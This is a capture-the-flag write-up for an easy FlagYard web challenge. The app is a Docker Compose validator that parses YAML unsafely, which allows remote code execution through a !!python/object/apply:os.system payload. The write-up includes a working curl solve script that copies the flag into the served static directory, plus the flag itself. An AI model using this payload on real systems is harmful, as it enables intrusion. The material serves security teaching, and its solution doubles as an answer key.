Back to writeups
FlagYardwebeasysolved

LMAy

23 Jun 2026 · by 0xIDA

Solvers

LMAy

Author: 0xIDA

Solvers

Platform: FlagYard · Category: web · Difficulty: easy

Summary

A "Docker Compose validator" web app parsed user-supplied YAML with yaml.load using an unsafe loader (FullLoader/UnsafeLoader) instead of yaml.safe_load. This allows !!python/object/apply constructors, giving blind remote code execution. Output was exfiltrated by writing into the app's served /static/ directory.

Solution

Step 1: Map the validator and find the parser quirk

The form POSTs YAML to /. Responses have two states: alert-success ("Docker Compose file is valid! 🎉") and alert-danger ("Invalid Docker Compose format").

Key findings:

  • A top-level version: key is required to reach the deeper parsing path.
  • !!python/object/apply:os.system is accepted, but an arbitrary !customtag is rejected. safe_load rejects both — so the backend uses a Python-aware loader (yaml.load with FullLoader/UnsafeLoader).

Step 2: Confirm blind RCE via timing, then build an output channel

os.system runs commands but returns no visible output, so a time side-channel proves execution: baseline ~1.6s vs ~5–6s with a sleep 5 payload. To read output, redirect it into the web-served /static/ directory (uid 1000 owns /app/static/) and fetch it back over HTTP.

#!/usr/bin/env bash
# Full solve: unsafe-YAML RCE -> exfiltrate flag via /static/
BASE="http://tgvldeleqq-0.playat.flagyard.com/"

# 1) Locate the flag (writes a directory listing into the served static dir)
curl -sS --max-time 40 -X POST "$BASE" --data-urlencode "docker_compose=version: '3'
services:
  web:
    image: nginx
x: !!python/object/apply:os.system ['ls -la /app > /app/static/out.txt 2>&1']" >/dev/null
sleep 2
curl -sS "${BASE}static/out.txt"   # reveals /app/flag.txt

# 2) Copy the flag into the served static dir and fetch it
curl -sS --max-time 40 -X POST "$BASE" --data-urlencode "docker_compose=version: '3'
services:
  web:
    image: nginx
x: !!python/object/apply:os.system ['cp /app/flag.txt /app/static/flag_out.txt; chmod 644 /app/static/flag_out.txt']" >/dev/null
sleep 2
echo -n 'FLAG: '
curl -sS "${BASE}static/flag_out.txt"

Running the script prints:

FLAG: FlagY{9741a0c3d6bae6e9e87dd0fd2d31089c}

Remediation

Replace yaml.load(data) with yaml.safe_load(data). This removes the !!python/... constructor path and reduces the bug from RCE to a harmless schema check.

Flag

FlagY{9741a0c3d6bae6e9e87dd0fd2d31089c}